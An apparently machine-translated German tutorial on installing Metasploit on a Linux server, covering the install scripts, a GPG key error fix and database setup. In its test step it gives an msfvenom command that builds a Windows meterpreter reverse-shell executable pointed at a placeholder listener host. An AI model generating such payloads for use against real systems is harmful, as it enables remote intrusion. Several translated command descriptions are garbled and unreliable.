Detaillierte Erläuterung des Installationsprozesses von msf auf einem Linux-System

Detaillierte Erläuterung des Installationsprozesses von msf auf einem Linux-System

Oder schreiben Sie den Installationsvorgang selbst auf!

Mein Serversystem ist Aliyun Linux

1. Herunterladen und installieren
curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall && chmod 755 msfinstall && ./msfinstall

Möglicher Fehler: Datei /etc/pki/rpm-gpg/RPM-GPG-KEY-Metasploit konnte nicht geöffnet werden

Es liegt an einem Problem bei der Installation der Bibliothek!
Lösung:
yum install -y epel-release
Dann wiederholen Sie den obigen Befehl!

2. Fügen Sie einen neuen Benutzer hinzu und führen Sie msf aus
adduser msf #MSF-Benutzer hinzufügen
su msf #Zum msf-Benutzer wechseln
cd /opt/metasploit-framework/bin #Wechseln Sie in das Verzeichnis, in dem sich msf befindet
./msfconsole
#Starten Sie msfconsole künftig und wechseln Sie zum Starten zum msf-Benutzer, damit die Datenbank synchronisiert wird.
Wenn Sie es als Root-Benutzer starten, wird die Datenbank nicht synchronisiert!
(Der Startindex ist bereits standardmäßig konfiguriert!)
Starten Sie einfach msfconsole!

#Verwandte Befehle [msf@xxxx root]$ msf
msfbinscan msfconsole msfd msfdb  
msfelfscan msfmachscan msfpescan msfrop  
msfrpc msfrpcd msfupdate msfvenom

# Datenbankinitialisierung [msf@xxxx root]$ msfdb
Befehle:
 init initialisiert die Komponente
 reinit löscht und initialisiert die Komponente neu
 löschen löschen und stoppen Sie die Komponente
 Statusprüfung Komponentenstatus
 Starten Sie die Komponente
 Stoppen Sie die Komponente
 Neustart Starten Sie die Komponente neu
#prüfen:
Beispielsweise ist mein virtueller Host Win2003 (Zielmaschine)
msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp 
LHOST=msf_ip 
LPORT=4444 -e x86/shikata_ga_nai -f exe > test.exe

Hinweis: Wenn es sich um eine elastische Cloud-Server-IP handelt, sollte LHOST auf die vom Intranet zugewiesene IP eingestellt werden, und die öffentliche IP kann nicht eingestellt werden. [Dieser Fehler hat mich lange geärgert! ! ! Blut erbrechen! ! ! ]

Bildbeschreibung hier einfügen

ps: Installieren Sie das msf-Framework unter einem Linux-System

Befehl:

wget http://downloads.metasploit.com/data/releases/metasploit-latest-linux-installer.run
chmod 755 metasploit-latest-linux-installer.run
./metasploit-latest-linux-installer.run

Warten Sie einfach, bis der Lauf beendet ist. Drücken Sie an den wichtigen Stellen einfach die Eingabetaste und Y.

Zusammenfassen

Dies ist das Ende dieses Artikels über den detaillierten Prozess der Installation von msf auf einem Linux-System. Weitere relevante Inhalte zur Installation von msf auf einem Linux-System finden Sie in den vorherigen Artikeln von 123WORDPRESS.COM oder in den verwandten Artikeln weiter unten. Ich hoffe, dass jeder 123WORDPRESS.COM in Zukunft unterstützen wird!

Das könnte Sie auch interessieren:
  • Detaillierte Erklärung des php-msf-Quellcodes
  • Anweisungen zur Verwendung der gespeicherten Systemprozeduren sp_MSforeachtable und sp_MSforeachdb

<<:  React Native JSI implementiert Beispielcode für RN und native Kommunikation

>>:  Tutorial zur Installation von MySQL8 unter Linux CentOS7

Artikel empfehlen

Lösung zum Hinzufügen einer iptables-Firewall-Richtlinie zum MySQL-Dienst

Wenn Ihre MySQL-Datenbank auf einem CentOS7-Syste...

Implementierungsprozess von row_number in MySQL

1. Hintergrund Im Allgemeinen können wir in einer...

Warum node.js nicht für große Projekte geeignet ist

Inhaltsverzeichnis Vorwort 1. Anwendungskomponent...

W3C Tutorial (10): W3C XQuery Aktivitäten

XQuery ist eine Sprache zum Extrahieren von Daten...

Detaillierte Schritte zur Installation von Nginx unter Linux

1. Nginx-Installationsschritte 1.1 Offizielle Web...

js, um den Popup-Effekt zu erzielen

In diesem Artikelbeispiel wird der spezifische Co...

Vue+Bootstrap realisiert ein einfaches Studentenverwaltungssystem

Ich habe Vue und Bootstrap verwendet, um ein rela...

So konfigurieren Sie den Nginx-Lastausgleich

Inhaltsverzeichnis Nginx-Lastausgleichskonfigurat...

JavaScript Dom implementiert das Prinzip und Beispiel eines Karussells

Wenn wir ein Karussell bauen wollen, müssen wir z...

MySql Installer 8.0.18 Visuelles Installationstutorial mit Bildern und Text

Inhaltsverzeichnis 1. MySQL 8.0.18 installieren 2...

Der Vue.js-Cloud-Speicher realisiert die Bild-Upload-Funktion

Vorwort Tipp: Das Folgende ist der Hauptinhalt di...

Lösung für die Auswirkungen leerer Pfade auf die Seitenleistung

Vor ein paar Tagen habe ich einen von Yu Bo getei...